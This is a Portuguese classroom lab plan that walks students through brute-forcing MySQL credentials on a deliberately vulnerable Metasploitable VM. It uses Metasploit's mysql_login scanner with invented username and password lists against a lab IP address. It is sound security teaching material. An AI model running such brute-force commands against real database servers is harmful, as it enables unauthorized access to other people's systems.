**ESQUEMA DE PLANO DE AULA PRÁTICA**

**TAREFA 6** "Metasploitable MySQL"

Tópico no Moodle: “Teste de Invasão do Metasploitable MySQL”

Data:   
  
Tempo de Aula: 1 hora-aula  
  
Grupo: <Aluno\_1> \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

<Aluno\_2> \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

**ASSUNTO**

**Nesta experiência, exploraremos como usar Metasploit para atacar MySQL, visando descobrir o login de usuário e senha do servidor MySQL Database, uma base de dados de escolha para muitas plataformas de websites incluindo Drupal, Wordpress. Isto torna um alvo fácil para um ataque Metasploitable MySQL. Para tal estaremos usando o módulo do Metasploit chamado MySQL Scanner.**

**BIBLIOGRAFIA BÁSICA E INSTALAÇÕES**

Backtrack 5 Cookbook, Willie Pritchett & David De Smet, PACKT Publishing, 2012.

**REQUISITOS**

**Virtualbox   
  
Backtrack 5 VM**

**Metasploitable Linux 2 VM (Aplicação MySQL)**

------------------------------------------------------------------------------------------------------------------------------  
 **OBJETIVOS DA AULA**

Conhecer como quebrar “user-password” da MySQL Database situada na VM Metasploitable.

Para tal serão fornecidos na VM Backtrack, no diretório /root/Desktop/ dois arquivos chamados: usernames.txt e passwords.txt

Criar e gravar o arquivo usernames.txt neste diretorio:

root@bt:/# nano usernames.txt e preencher com nomes de usuários fictícios, como por exemplo: maria admin adminmysql root bosco leticia mysql

Criar e gravar o arquivo de senhas passwords.txt neste diretório:

root@bt:/# nano usernames.txt e preencher com senhas fictícias, como por exemplo: mysql admin e4UA ‘ ‘ ocsob 3427 mysql

**SELEÇÃO DE CONTEÚDO – A PRÁTICA**

Um conteúdo mínimo, consistindo de um roteiro de aula, com Metasploit, visando o objetivo acima, pode ser colocada como:

**MOSTRE SEU EXPERIMENTO**

**Abra o Virtualbox.**

**Execute a VM Backtrack, Execute a VM Metasploitable.**

**VM Backtrack: root@bt:/# startx // Abre a interface grafica do Backtrack.**

**No simbolo Application Launcher (canto esquerdo, embaixo da interface gráfica), veja o Menu Application Launcher:**

**Escolha Backtrack -> Exploitation Tools -> Network Exploitation Tools -> Metasploit Framework -> msfconsole**

**msf> msfconsole // Lança o MSFCONSOLE**

**msf> search mysql // Busca todas as vulnerabilidades do MySQL**

**msf> use auxiliary/scanner/mysql/mysql\_login // escolhida a vulnerabilidade   
 MySQL Login Utility,**

**// surge novo prompt**

**msf auxiliary(mysql\_login)> show options // mostra opcoes disponiveis do modulo**

**// Indica a VM alvo, Metasploitable**

**set RHOSTS 192.168.1.114 // VM Metasploitable**

**// Indica o arquivo de usuarios e sua localização**

**set user\_file /root/Desktop/usernames.txt**

**// Indica o aquivo de senhas e sua localizacao**

**set pass\_file /root/Desktop/passwords.txt**

**// Executa o exploit**

**exploit**

**Metasploit tenta fazer combinações de todos os *usernames* e *passwords* contidos em ambos os arquivos.**

**Localize o “+” à esquerda da linha em que Metasploit combina login e password. Veja o resultado na saída dada pelo Metasploit.**

**CONCLUSÃO**

**Nesta prática, customizamos duas listas-dicionário de usuários e senhas. Usamos o Metasploit’ MSFCONSOLE para explorar uma vulnerabilidade MySQL sobre a VM Metasploitable. Começamos lançando o console e buscando todas as vulnerabilidades MySQL.**

**Após escolhermos a vulnerabilidade MySQL Login, estabelecemos suas opções e executamos o exploit. Usando os arquivos usernames.txt e passwords.txt supridos por nós mesmos, o Metasploit teta aplicar força bruta à base de dados MySQL.**

**Neste exemplo, usamos arquivos de usernames e passwords customizados, que inventamos, mas existem alguns modos de gerar lista de palavras de usernames e arquivos de senhas. Um destes métodos e o usado pela ferramenta Crunch ou o método de usar Rainbow Tables, que são tabelas de dicionário especiais que usam valores hash ao invés de senhas de dicionário padrão para alcançar o ataque por força-bruta.**